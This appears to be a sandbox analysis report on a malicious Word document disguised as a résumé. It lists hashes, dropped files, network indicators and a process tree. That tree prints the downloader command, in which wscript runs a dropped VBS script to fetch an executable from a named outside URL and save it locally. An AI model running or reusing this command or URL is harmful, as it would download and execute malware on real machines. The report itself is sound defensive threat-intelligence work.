File name: | Maria Rodriguez Resume.doc |
Full analysis: | https://app.any.run/tasks/a05ddf58-0e6f-4608-919a-c03c4c9bb06d |
Verdict: | Malicious activity |
Analysis date: | December 06, 2019, 14:27:26 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Locale ID: 1033, Author: pydfp, Subject: asfponuc |
MD5: | 0E607FB9AC81CDBFC795CE3E5C5315B0 |
SHA1: | C22402BEDD5A73C87F00D471D575E0077FCF5BAE |
SHA256: | AC6D930AFE1D0F739B1DC3BAC1917C8C22B01EEFF3C4998112B8F01B2B58373C |
SSDEEP: | 1536:D13kbv5dlOjrJg0Dwj9ESVBWa8LrbYaJd+wA8mlOoni89V9jGY7w:Kz5ujrJg0A9RWa0XYahyDnJV9jGY7 |
CodePage: | Windows Latin 1 (Western European) |
---|---|
LocaleIndicator: | 1033 |
Author: | pydfp |
Subject: | asfponuc |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
444 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Maria Rodriguez Resume.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3836 | cmd /c C:\cfgPath3\RandomData.cmd | C:\Windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1576 | wscript //nologo c:\cfgPath3\Parents.vbs https://yasmotel.com/wp-content/uploads/2019/12/c49.exe c:\cfgPath3\BrainGos.exe | C:\Windows\system32\wscript.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 1 Version: 5.8.7600.16385 |
PID | Process | Filename | Type | |
---|---|---|---|---|
444 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA478.tmp.cvr | — | |
MD5:— | SHA256:— | |||
444 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFCA5E03AE5A3BD924.TMP | — | |
MD5:— | SHA256:— | |||
444 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF7E74215410CAC170.TMP | — | |
MD5:— | SHA256:— | |||
444 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF5AF080C338041DE8.TMP | — | |
MD5:— | SHA256:— | |||
444 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF527A7C9DD3DCA419.TMP | — | |
MD5:— | SHA256:— | |||
444 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF0807284F198DFC5C.TMP | — | |
MD5:— | SHA256:— | |||
444 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF5C796551E3C82FBD.TMP | — | |
MD5:— | SHA256:— | |||
444 | WINWORD.EXE | C:\cfgPath3\RandomData.cmd | text | |
MD5:966FF7A6B4B53326940B20D63B1FA3BD | SHA256:5A7DBF127ECC2CD713F8D29938BF54B891FC93562E81FB536BC4DEEE81702DB0 | |||
444 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:1C104AF8C00B92CF2D794DE5FAA5A43D | SHA256:D091582B56D90F43302375E0188671CE6A071EFAC95EE1D65382D4DCCFCF08C2 | |||
3836 | cmd.exe | C:\cfgPath3\Parents.vbs | text | |
MD5:7269F604BEF7B2B29EC6DB63988A8B27 | SHA256:EA49312E392AA0F632C6689A7C127859FD6488A52886A664E2D874B3597F5A1A |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1576 | wscript.exe | 163.172.203.87:443 | yasmotel.com | Online S.a.s. | FR | suspicious |
Domain | IP | Reputation |
---|---|---|
yasmotel.com |
| suspicious |